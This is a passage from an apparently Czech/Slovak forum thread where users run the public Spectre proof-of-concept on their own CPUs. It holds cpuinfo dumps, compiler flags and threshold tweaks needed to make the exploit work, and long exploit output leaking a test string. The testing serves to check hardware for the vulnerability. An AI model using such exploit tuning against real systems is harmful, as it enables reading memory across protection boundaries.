flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm constant_tsc rep_good acc_power nopl nonstop_tsc extd_apicid aperfmperf pni pclmulqdq monitor ssse3 fma cx16 sse4_1 sse4_2 movbe popcnt aes xsave avx f16c rdrand lahf_lm cmp_legacy svm extapic cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw ibs xop skinit wdt lwp fma4 tce nodeid_msr tbm topoext perfctr_core perfctr_nb bpext ptsc mwaitx cpb hw_pstate vmmcall fsgsbase bmi1 avx2 smep bmi2 xsaveopt arat npt lbrv svm_lock nrip_save tsc_scale vmcb_clean flushbyasid decodeassists pausefilter pfthreshold avic overflow_recov
bugs		: fxsave_leak sysret_ss_attrs null_seg
bogomips	: 3194.18
TLB size	: 1536 4K pages
clflush size	: 64
cache_alignment	: 64
address sizes	: 48 bits physical, 48 bits virtual
power management: ts ttp tm 100mhzsteps hwpstate cpb eff_freq_ro acc_power [13]

processor	: 1
vendor_id	: AuthenticAMD
cpu family	: 21
model		: 96
model name	: AMD Opteron(tm) X3216 APU
stepping	: 1
microcode	: 0x6006118
cpu MHz		: 1200.000
cache size	: 1024 KB
physical id	: 0
siblings	: 2
core id		: 1
cpu cores	: 1
apicid		: 17
initial apicid	: 1
fpu		: yes
fpu_exception	: yes
cpuid level	: 13
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx mmxext fxsr_opt pdpe1gb rdtscp lm constant_tsc rep_good acc_power nopl nonstop_tsc extd_apicid aperfmperf pni pclmulqdq monitor ssse3 fma cx16 sse4_1 sse4_2 movbe popcnt aes xsave avx f16c rdrand lahf_lm cmp_legacy svm extapic cr8_legacy abm sse4a misalignsse 3dnowprefetch osvw ibs xop skinit wdt lwp fma4 tce nodeid_msr tbm topoext perfctr_core perfctr_nb bpext ptsc mwaitx cpb hw_pstate vmmcall fsgsbase bmi1 avx2 smep bmi2 xsaveopt arat npt lbrv svm_lock nrip_save tsc_scale vmcb_clean flushbyasid decodeassists pausefilter pfthreshold avic overflow_recov
bugs		: fxsave_leak sysret_ss_attrs null_seg
bogomips	: 3194.18
TLB size	: 1536 4K pages
clflush size	: 64
cache_alignment	: 64
address sizes	: 48 bits physical, 48 bits virtual
power management: ts ttp tm 100mhzsteps hwpstate cpb eff_freq_ro acc_power [13]

uname -a

Linux 4.10.0-42-generic #46~16.04.1-Ubuntu SMP Mon Dec 4 15:57:59 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

./spectre

Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfeb68... Success: 0xB4=’e’ score=47 (second best: 0x0D score=21)
Reading at malicious_x = 0xffffffffffdfeb69... Success: 0xB4=’e’ score=11 (second best: 0x5B score=3)
Reading at malicious_x = 0xffffffffffdfeb6a... Success: 0xB4=’e’ score=9 (second best: 0xA8 score=2)
Reading at malicious_x = 0xffffffffffdfeb6b... Success: 0xB4=’e’ score=11 (second best: 0xC7 score=3)
Reading at malicious_x = 0xffffffffffdfeb6c... Success: 0xB4=’e’ score=9 (second best: 0xF4 score=2)
Reading at malicious_x = 0xffffffffffdfeb6d... Success: 0xB4=’e’ score=7 (second best: 0xAF score=1)
Reading at malicious_x = 0xffffffffffdfeb6e... Success: 0xB4=’e’ score=9 (second best: 0xB6 score=2)
Reading at malicious_x = 0xffffffffffdfeb6f... Success: 0xB4=’e’ score=9 (second best: 0xB6 score=2)
Reading at malicious_x = 0xffffffffffdfeb70... Success: 0xB4=’e’ score=9 (second best: 0xB6 score=2)
Reading at malicious_x = 0xffffffffffdfeb71... Success: 0xB4=’e’ score=11 (second best: 0x0D score=3)
Reading at malicious_x = 0xffffffffffdfeb72... Success: 0xB4=’e’ score=9 (second best: 0xFE score=2)
Reading at malicious_x = 0xffffffffffdfeb73... Success: 0xB4=’e’ score=11 (second best: 0x0D score=3)
Reading at malicious_x = 0xffffffffffdfeb74... Success: 0xB4=’e’ score=11 (second best: 0x19 score=3)
Reading at malicious_x = 0xffffffffffdfeb75... Success: 0xB4=’e’ score=11 (second best: 0x0D score=3)
Reading at malicious_x = 0xffffffffffdfeb76... Success: 0xB4=’e’ score=13 (second best: 0x5B score=4)
Reading at malicious_x = 0xffffffffffdfeb77... Success: 0xB4=’e’ score=15 (second best: 0x02 score=5)
Reading at malicious_x = 0xffffffffffdfeb78... Success: 0xB4=’e’ score=7 (second best: 0xAF score=1)
Reading at malicious_x = 0xffffffffffdfeb79... Success: 0xB4=’e’ score=11 (second best: 0x0D score=3)
Reading at malicious_x = 0xffffffffffdfeb7a... Success: 0xB4=’e’ score=9 (second best: 0xA8 score=2)
Reading at malicious_x = 0xffffffffffdfeb7b... Success: 0xB4=’e’ score=11 (second best: 0xC7 score=3)
Reading at malicious_x = 0xffffffffffdfeb7c... Unclear: 0xB4=’e’ score=793 (second best: 0x0D score=402)
Reading at malicious_x = 0xffffffffffdfeb7d... Success: 0xB4=’e’ score=11 (second best: 0x18 score=3)
Reading at malicious_x = 0xffffffffffdfeb7e... Success: 0xB4=’e’ score=9 (second best: 0xA8 score=2)
Reading at malicious_x = 0xffffffffffdfeb7f... Success: 0xB4=’e’ score=9 (second best: 0xA9 score=2)
Reading at malicious_x = 0xffffffffffdfeb80... Success: 0xB4=’e’ score=15 (second best: 0x0D score=5)
Reading at malicious_x = 0xffffffffffdfeb81... Success: 0xB4=’e’ score=9 (second best: 0xB6 score=2)
Reading at malicious_x = 0xffffffffffdfeb82... Success: 0xB4=’e’ score=9 (second best: 0xB6 score=2)
Reading at malicious_x = 0xffffffffffdfeb83... Success: 0xB4=’e’ score=9 (second best: 0xB6 score=2)
Reading at malicious_x = 0xffffffffffdfeb84... Success: 0xB4=’e’ score=9 (second best: 0xA8 score=2)
Reading at malicious_x = 0xffffffffffdfeb85... Success: 0xB4=’e’ score=9 (second best: 0xC7 score=2)
Reading at malicious_x = 0xffffffffffdfeb86... Success: 0xB4=’e’ score=9 (second best: 0xF6 score=2)
Reading at malicious_x = 0xffffffffffdfeb87... Success: 0xB4=’e’ score=9 (second best: 0xA8 score=2)
Reading at malicious_x = 0xffffffffffdfeb88... Success: 0xB4=’e’ score=9 (second best: 0xA8 score=2)
Reading at malicious_x = 0xffffffffffdfeb89... Success: 0xB4=’e’ score=15 (second best: 0x0D score=5)
Reading at malicious_x = 0xffffffffffdfeb8a... Success: 0xB4=’e’ score=7 (second best: 0xAF score=1)
Reading at malicious_x = 0xffffffffffdfeb8b... Success: 0xB4=’e’ score=9 (second best: 0xA8 score=2)
Reading at malicious_x = 0xffffffffffdfeb8c... Success: 0xB4=’e’ score=7 (second best: 0xAF score=1)
Reading at malicious_x = 0xffffffffffdfeb8d... Success: 0xB4=’e’ score=9 (second best: 0xA8 score=2)
Reading at malicious_x = 0xffffffffffdfeb8e... Success: 0xB4=’e’ score=29 (second best: 0x0D score=12)
Reading at malicious_x = 0xffffffffffdfeb8f... Success: 0xB4=’e’ score=9 (second best: 0xD5 score=2)

[HP Fan]

Skusil som https://repl.it/repls/DeliriousGreenOxpecker a tu je vysledok:

Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfebb8... Success: 0x54=’T’ score=2 
Reading at malicious_x = 0xffffffffffdfebb9... Success: 0x68=’h’ score=2 
Reading at malicious_x = 0xffffffffffdfebba... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdfebbb... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfebbc... Success: 0x4D=’M’ score=2 
Reading at malicious_x = 0xffffffffffdfebbd... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdfebbe... Success: 0x67=’g’ score=2 
Reading at malicious_x = 0xffffffffffdfebbf... Success: 0x69=’i’ score=2 
Reading at malicious_x = 0xffffffffffdfebc0... Success: 0x63=’c’ score=2 
Reading at malicious_x = 0xffffffffffdfebc1... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfebc2... Success: 0x57=’W’ score=2 
Reading at malicious_x = 0xffffffffffdfebc3... Success: 0x6F=’o’ score=2 
Reading at malicious_x = 0xffffffffffdfebc4... Success: 0x72=’r’ score=2 
Reading at malicious_x = 0xffffffffffdfebc5... Success: 0x64=’d’ score=2 
Reading at malicious_x = 0xffffffffffdfebc6... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdfebc7... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfebc8... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdfebc9... Success: 0x72=’r’ score=2 
Reading at malicious_x = 0xffffffffffdfebca... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdfebcb... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfebcc... Success: 0x53=’S’ score=2 
Reading at malicious_x = 0xffffffffffdfebcd... Success: 0x71=’q’ score=2 
Reading at malicious_x = 0xffffffffffdfebce... Success: 0x75=’u’ score=2 
Reading at malicious_x = 0xffffffffffdfebcf... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdfebd0... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdfebd1... Success: 0x6D=’m’ score=2 
Reading at malicious_x = 0xffffffffffdfebd2... Success: 0x69=’i’ score=2 
Reading at malicious_x = 0xffffffffffdfebd3... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdfebd4... Success: 0x68=’h’ score=2 
Reading at malicious_x = 0xffffffffffdfebd5... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfebd6... Unclear: 0x4F=’O’ score=924 (second best: 0xD7 score=904)
Reading at malicious_x = 0xffffffffffdfebd7... Unclear: 0x73=’s’ score=933 (second best: 0x4D score=907)
Reading at malicious_x = 0xffffffffffdfebd8... Unclear: 0x73=’s’ score=936 (second best: 0x1F score=901)
Reading at malicious_x = 0xffffffffffdfebd9... Unclear: 0xC4=’?’ score=907 (second best: 0xBF score=903)
Reading at malicious_x = 0xffffffffffdfebda... Unclear: 0x66=’f’ score=924 (second best: 0x1B score=908)
Reading at malicious_x = 0xffffffffffdfebdb... Unclear: 0x72=’r’ score=917 (second best: 0x71 score=906)
Reading at malicious_x = 0xffffffffffdfebdc... Unclear: 0x61=’a’ score=945 (second best: 0xA2 score=907)
Reading at malicious_x = 0xffffffffffdfebdd... Unclear: 0x67=’g’ score=930 (second best: 0x7D score=913)
Reading at malicious_x = 0xffffffffffdfebde... Unclear: 0x65=’e’ score=911 (second best: 0x7D score=908)
Reading at malicious_x = 0xffffffffffdfebdf... Unclear: 0x2E=’.’ score=928 (second best: 0xE4 score=909)

[HP Fan]

s #define CACHE_HIT_THRESHOLD 80

Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfebb8... Success: 0x54=’T’ score=2 
Reading at malicious_x = 0xffffffffffdfebb9... Success: 0x68=’h’ score=2 
Reading at malicious_x = 0xffffffffffdfebba... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdfebbb... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfebbc... Success: 0x4D=’M’ score=2 
Reading at malicious_x = 0xffffffffffdfebbd... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdfebbe... Success: 0x67=’g’ score=2 
Reading at malicious_x = 0xffffffffffdfebbf... Success: 0x69=’i’ score=2 
Reading at malicious_x = 0xffffffffffdfebc0... Success: 0x63=’c’ score=2 
Reading at malicious_x = 0xffffffffffdfebc1... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfebc2... Success: 0x57=’W’ score=2 
Reading at malicious_x = 0xffffffffffdfebc3... Success: 0x6F=’o’ score=2 
Reading at malicious_x = 0xffffffffffdfebc4... Success: 0x72=’r’ score=2 
Reading at malicious_x = 0xffffffffffdfebc5... Success: 0x64=’d’ score=2 
Reading at malicious_x = 0xffffffffffdfebc6... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdfebc7... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfebc8... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdfebc9... Success: 0x72=’r’ score=2 
Reading at malicious_x = 0xffffffffffdfebca... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdfebcb... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfebcc... Success: 0x53=’S’ score=2 
Reading at malicious_x = 0xffffffffffdfebcd... Success: 0x71=’q’ score=2 
Reading at malicious_x = 0xffffffffffdfebce... Success: 0x75=’u’ score=2 
Reading at malicious_x = 0xffffffffffdfebcf... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdfebd0... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdfebd1... Success: 0x6D=’m’ score=2 
Reading at malicious_x = 0xffffffffffdfebd2... Success: 0x69=’i’ score=2 
Reading at malicious_x = 0xffffffffffdfebd3... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdfebd4... Success: 0x68=’h’ score=2 
Reading at malicious_x = 0xffffffffffdfebd5... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfebd6... Success: 0x4F=’O’ score=2 
Reading at malicious_x = 0xffffffffffdfebd7... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdfebd8... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdfebd9... Success: 0x69=’i’ score=2 
Reading at malicious_x = 0xffffffffffdfebda... Success: 0x66=’f’ score=2 
Reading at malicious_x = 0xffffffffffdfebdb... Success: 0x72=’r’ score=2 
Reading at malicious_x = 0xffffffffffdfebdc... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdfebdd... Success: 0x67=’g’ score=2 
Reading at malicious_x = 0xffffffffffdfebde... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdfebdf... Success: 0x2E=’.’ score=2 

[majales]

Na pentiu 4 se mi nepovedlo zkompilovat:

gcc -march=native -std=c99 -O0 spectre.c -o spectre
spectre.c: In function ‘readMemoryByte’:
spectre.c:89: warning: implicit declaration of function ‘__rdtsc’
spectre.c: In function ‘main’:
spectre.c:136: warning: pointer/integer type mismatch in conditional expression
/tmp/ccUxr4mh.o: In function `readMemoryByte':
spectre.c:(.text+0x17a): undefined reference to `__rdtsc'
spectre.c:(.text+0x192): undefined reference to `__rdtsc'
collect2: ld returned 1 exit status

Ještě to zítra můžu vyzkoušet na Ryzen 5 1600.

[R]

Aku mas verziu gcc? Mne to s gcc 6.3 skompilovat ide, ale na P4 to nefunguje, precita to vzdy 0xff.

[majales]

gcc --version gcc (Debian 4.4.5-8) 4.4.5

[pc2005]

Na T7600 (první generace mobilního core2) jednak nejede rdtscp a jednak musím v mém kompilátoru přidat volbu -m32, pak funguje i volba -march=pentium4 . Volba -march=core2 ani -march=native nenajde skoro nic (občas je semtam hit, ale to může být random šum).

gcc -m32 -march=pentium4 -O0 z48.c -o spectre

# cat /proc/cpuinfo 
processor	: 0
vendor_id	: GenuineIntel
cpu family	: 6
model		: 15
model name	: Intel(R) Core(TM)2 CPU         T7600  @ 2.33GHz
stepping	: 6
cpu MHz		: 2324.000
cache size	: 4096 KB
physical id	: 0
siblings	: 2
core id		: 0
cpu cores	: 2
apicid		: 0
initial apicid	: 0
fpu		: yes
fpu_exception	: yes
cpuid level	: 10
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm constant_tsc arch_perfmon pebs bts rep_good nopl cpuid aperfmperf pni dtes64 monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr pdcm lahf_lm tpr_shadow dtherm
bugs		:
bogomips	: 4666.77
clflush size	: 64
cache_alignment	: 64
address sizes	: 36 bits physical, 48 bits virtual
power management:

processor	: 1
vendor_id	: GenuineIntel
cpu family	: 6
model		: 15
model name	: Intel(R) Core(TM)2 CPU         T7600  @ 2.33GHz
stepping	: 6
cpu MHz		: 2324.000
cache size	: 4096 KB
physical id	: 0
siblings	: 2
core id		: 1
cpu cores	: 2
apicid		: 1
initial apicid	: 1
fpu		: yes
fpu_exception	: yes
cpuid level	: 10
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx lm constant_tsc arch_perfmon pebs bts rep_good nopl cpuid aperfmperf pni dtes64 monitor ds_cpl vmx est tm2 ssse3 cx16 xtpr pdcm lahf_lm tpr_shadow dtherm
bugs		:
bogomips	: 4665.96
clflush size	: 64
cache_alignment	: 64
address sizes	: 36 bits physical, 48 bits virtual
power management:

By mě zajímalo zda to, že to pro 32bit kód v prostředí 64bit funguje a pro 64bit kód v 64bit prostředí nefunguje, je jiným zpracováním cache pro 32bit, nebo protože je ten kód prostě jen pro 32bit.

Zkuste někdo, kdo má SMT porovnat rozdíl s a bez běžícího SMT. Při SMT trvá jedno vlákno déle, protože víc vláken soutěží o stejný počet prostředků. Pak bude buď delší doba než se dojde ke konci spekulativní větve (lehčí timing) a nebo bude spekulativní větev zkrácená, protože víc vláken (třeba kvůli TDP) a timing bude horší.

[pc2005]

Jo a to "c" by mělo být 'c', protože to je char a ne string.

[majales]

Na AMD Ryzen 5 1600

Linux RYZEN-01 4.13.0-16-generic #19-Ubuntu SMP Wed Oct 11 18:35:14 UTC 2017 x86_64 x86_64 x86_64 GNU/Linux

nikdo@RYZEN-01:~$ ./spectre
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfedf8... Success: 0x54=’T’ score=2
Reading at malicious_x = 0xffffffffffdfedf9... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffffffffdfedfa... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfedfb... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfedfc... Success: 0x4D=’M’ score=2
Reading at malicious_x = 0xffffffffffdfedfd... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfedfe... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdfedff... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfee00... Success: 0x63=’c’ score=2
Reading at malicious_x = 0xffffffffffdfee01... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfee02... Success: 0x57=’W’ score=2
Reading at malicious_x = 0xffffffffffdfee03... Success: 0x6F=’o’ score=2
Reading at malicious_x = 0xffffffffffdfee04... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdfee05... Success: 0x64=’d’ score=2
Reading at malicious_x = 0xffffffffffdfee06... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfee07... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfee08... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfee09... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdfee0a... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfee0b... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfee0c... Success: 0x53=’S’ score=2
Reading at malicious_x = 0xffffffffffdfee0d... Success: 0x71=’q’ score=2
Reading at malicious_x = 0xffffffffffdfee0e... Success: 0x75=’u’ score=2
Reading at malicious_x = 0xffffffffffdfee0f... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfee10... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfee11... Success: 0x6D=’m’ score=2
Reading at malicious_x = 0xffffffffffdfee12... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfee13... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfee14... Success: 0x68=’h’ score=2
Reading at malicious_x = 0xffffffffffdfee15... Success: 0x20=’ ’ score=2
Reading at malicious_x = 0xffffffffffdfee16... Success: 0x4F=’O’ score=2
Reading at malicious_x = 0xffffffffffdfee17... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfee18... Success: 0x73=’s’ score=2
Reading at malicious_x = 0xffffffffffdfee19... Success: 0x69=’i’ score=2
Reading at malicious_x = 0xffffffffffdfee1a... Success: 0x66=’f’ score=2
Reading at malicious_x = 0xffffffffffdfee1b... Success: 0x72=’r’ score=2
Reading at malicious_x = 0xffffffffffdfee1c... Success: 0x61=’a’ score=2
Reading at malicious_x = 0xffffffffffdfee1d... Success: 0x67=’g’ score=2
Reading at malicious_x = 0xffffffffffdfee1e... Success: 0x65=’e’ score=2
Reading at malicious_x = 0xffffffffffdfee1f... Success: 0x2E=’.’ score=2

[pc2005]

Ve virtualboxu na T7400 (to samý jako můj T7600 výše) se to na systemrescueCD "povede" taky. Chtěl jsem ještě z legrace zkusit QEMU, ale ještě nenabootoval .

[MadCatX]

i7-2820QM, Linux The-Raza 4.14.11-1-ARCH #1 SMP PREEMPT Funguje out of the box:)

Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfedc8... Success: 0x54=’T’ score=2 
Reading at malicious_x = 0xffffffffffdfedc9... Success: 0x68=’h’ score=2 
Reading at malicious_x = 0xffffffffffdfedca... Unclear: 0x65=’e’ score=999 (second best: 0x30 score=954)
Reading at malicious_x = 0xffffffffffdfedcb... Unclear: 0x20=’ ’ score=999 (second best: 0xF3 score=966)
Reading at malicious_x = 0xffffffffffdfedcc... Unclear: 0x4D=’M’ score=998 (second best: 0x95 score=959)
Reading at malicious_x = 0xffffffffffdfedcd... Unclear: 0x61=’a’ score=999 (second best: 0x36 score=965)
Reading at malicious_x = 0xffffffffffdfedce... Unclear: 0x67=’g’ score=999 (second best: 0x00 score=963)
Reading at malicious_x = 0xffffffffffdfedcf... Unclear: 0x69=’i’ score=999 (second best: 0x00 score=918)
Reading at malicious_x = 0xffffffffffdfedd0... Unclear: 0x63=’c’ score=999 (second best: 0x00 score=941)
Reading at malicious_x = 0xffffffffffdfedd1... Unclear: 0x20=’ ’ score=999 (second best: 0x00 score=945)
Reading at malicious_x = 0xffffffffffdfedd2... Unclear: 0x57=’W’ score=999 (second best: 0xAF score=960)
Reading at malicious_x = 0xffffffffffdfedd3... Unclear: 0x6F=’o’ score=999 (second best: 0xAF score=966)
Reading at malicious_x = 0xffffffffffdfedd4... Unclear: 0x72=’r’ score=999 (second best: 0xB4 score=960)
Reading at malicious_x = 0xffffffffffdfedd5... Unclear: 0x64=’d’ score=999 (second best: 0x00 score=967)
Reading at malicious_x = 0xffffffffffdfedd6... Unclear: 0x73=’s’ score=999 (second best: 0x00 score=960)
Reading at malicious_x = 0xffffffffffdfedd7... Unclear: 0x20=’ ’ score=999 (second best: 0xF3 score=961)
Reading at malicious_x = 0xffffffffffdfedd8... Unclear: 0x61=’a’ score=999 (second best: 0xFD score=961)
Reading at malicious_x = 0xffffffffffdfedd9... Unclear: 0x72=’r’ score=999 (second best: 0x00 score=963)
Reading at malicious_x = 0xffffffffffdfedda... Unclear: 0x65=’e’ score=999 (second best: 0xAB score=956)
Reading at malicious_x = 0xffffffffffdfeddb... Unclear: 0x20=’ ’ score=999 (second best: 0x00 score=929)
Reading at malicious_x = 0xffffffffffdfeddc... Unclear: 0x53=’S’ score=999 (second best: 0xB4 score=947)
Reading at malicious_x = 0xffffffffffdfeddd... Unclear: 0x71=’q’ score=999 (second best: 0xA8 score=964)
Reading at malicious_x = 0xffffffffffdfedde... Unclear: 0x75=’u’ score=999 (second best: 0x55 score=968)
Reading at malicious_x = 0xffffffffffdfeddf... Unclear: 0x65=’e’ score=999 (second best: 0xF0 score=964)
Reading at malicious_x = 0xffffffffffdfede0... Unclear: 0x61=’a’ score=999 (second best: 0x00 score=974)
Reading at malicious_x = 0xffffffffffdfede1... Unclear: 0x6D=’m’ score=999 (second best: 0x9B score=962)
Reading at malicious_x = 0xffffffffffdfede2... Unclear: 0x69=’i’ score=999 (second best: 0x00 score=961)
Reading at malicious_x = 0xffffffffffdfede3... Unclear: 0x73=’s’ score=999 (second best: 0x00 score=963)
Reading at malicious_x = 0xffffffffffdfede4... Unclear: 0x68=’h’ score=999 (second best: 0x00 score=961)
Reading at malicious_x = 0xffffffffffdfede5... Unclear: 0x20=’ ’ score=999 (second best: 0xEF score=958)
Reading at malicious_x = 0xffffffffffdfede6... Unclear: 0x4F=’O’ score=999 (second best: 0x21 score=962)
Reading at malicious_x = 0xffffffffffdfede7... Unclear: 0x73=’s’ score=999 (second best: 0xF3 score=963)
Reading at malicious_x = 0xffffffffffdfede8... Unclear: 0x73=’s’ score=999 (second best: 0xF4 score=967)
Reading at malicious_x = 0xffffffffffdfede9... Unclear: 0x69=’i’ score=999 (second best: 0x55 score=959)
Reading at malicious_x = 0xffffffffffdfedea... Unclear: 0x66=’f’ score=998 (second best: 0xF4 score=965)
Reading at malicious_x = 0xffffffffffdfedeb... Unclear: 0x72=’r’ score=998 (second best: 0xF5 score=968)
Reading at malicious_x = 0xffffffffffdfedec... Unclear: 0x61=’a’ score=999 (second best: 0x00 score=952)
Reading at malicious_x = 0xffffffffffdfeded... Unclear: 0x67=’g’ score=999 (second best: 0x3E score=962)
Reading at malicious_x = 0xffffffffffdfedee... Unclear: 0x65=’e’ score=999 (second best: 0x96 score=967)
Reading at malicious_x = 0xffffffffffdfedef... Unclear: 0x2E=’.’ score=999 (second best: 0x00 score=966)

[R]

Na Athlone 64 3000+ to funguje bezchybne s rdtscp a thresholdom 80.

[pc2005]

A bezchybně znamená, že to ten string najde (chyba HW/SW) nebo nenajde (HW/SW je OK)?

[User682]

Na AMD 1950X projde taky.

gf

[PavelM]

processor	: 3
vendor_id	: GenuineIntel
cpu family	: 6
model		: 37
model name	: Intel(R) Core(TM) i7 CPU       M 620  @ 2.67GHz
stepping	: 5
microcode	: 0x4
cpu MHz		: 2667.000
cache size	: 4096 KB
physical id	: 0
siblings	: 4
core id		: 2
cpu cores	: 2
apicid		: 5
initial apicid	: 5
fpu		: yes
fpu_exception	: yes
cpuid level	: 11
wp		: yes
flags		: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush dts acpi mmx fxsr sse sse2 ss ht tm pbe syscall nx rdtscp lm constant_tsc arch_perfmon pebs bts rep_good nopl xtopology nonstop_tsc aperfmperf pni pclmulqdq dtes64 monitor ds_cpl vmx smx est tm2 ssse3 cx16 xtpr pdcm pcid sse4_1 sse4_2 popcnt aes lahf_lm tpr_shadow vnmi flexpriority ept vpid dtherm ida arat
bugs		:
bogomips	: 5319.92
clflush size	: 64
cache_alignment	: 64
address sizes	: 36 bits physical, 48 bits virtual
power management:

$ ./spectre2
Reading 40 bytes:
Reading at malicious_x = 0xffffffffffdfebb8... Success: 0x54=’T’ score=2 
Reading at malicious_x = 0xffffffffffdfebb9... Success: 0x68=’h’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdfebba... Success: 0x65=’e’ score=7 (second best: 0xDE score=1)
Reading at malicious_x = 0xffffffffffdfebbb... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfebbc... Success: 0x4D=’M’ score=4 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdfebbd... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdfebbe... Success: 0x67=’g’ score=2 
Reading at malicious_x = 0xffffffffffdfebbf... Success: 0x69=’i’ score=2 
Reading at malicious_x = 0xffffffffffdfebc0... Success: 0x63=’c’ score=2 
Reading at malicious_x = 0xffffffffffdfebc1... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfebc2... Success: 0x57=’W’ score=2 
Reading at malicious_x = 0xffffffffffdfebc3... Success: 0x6F=’o’ score=2 
Reading at malicious_x = 0xffffffffffdfebc4... Success: 0x72=’r’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdfebc5... Success: 0x64=’d’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdfebc6... Success: 0x73=’s’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdfebc7... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfebc8... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdfebc9... Success: 0x72=’r’ score=2 
Reading at malicious_x = 0xffffffffffdfebca... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdfebcb... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfebcc... Success: 0x53=’S’ score=7 (second best: 0x05 score=1)
Reading at malicious_x = 0xffffffffffdfebcd... Success: 0x71=’q’ score=2 
Reading at malicious_x = 0xffffffffffdfebce... Success: 0x75=’u’ score=2 
Reading at malicious_x = 0xffffffffffdfebcf... Success: 0x65=’e’ score=2 
Reading at malicious_x = 0xffffffffffdfebd0... Success: 0x61=’a’ score=2 
Reading at malicious_x = 0xffffffffffdfebd1... Success: 0x6D=’m’ score=9 (second best: 0x05 score=2)
Reading at malicious_x = 0xffffffffffdfebd2... Success: 0x69=’i’ score=2 
Reading at malicious_x = 0xffffffffffdfebd3... Success: 0x73=’s’ score=2 
Reading at malicious_x = 0xffffffffffdfebd4... Success: 0x68=’h’ score=2 
Reading at malicious_x = 0xffffffffffdfebd5... Success: 0x20=’ ’ score=2 
Reading at malicious_x = 0xffffffffffdfebd6... Success: 0x4F=’O’ score=7 (second best: 0x05 score=1)
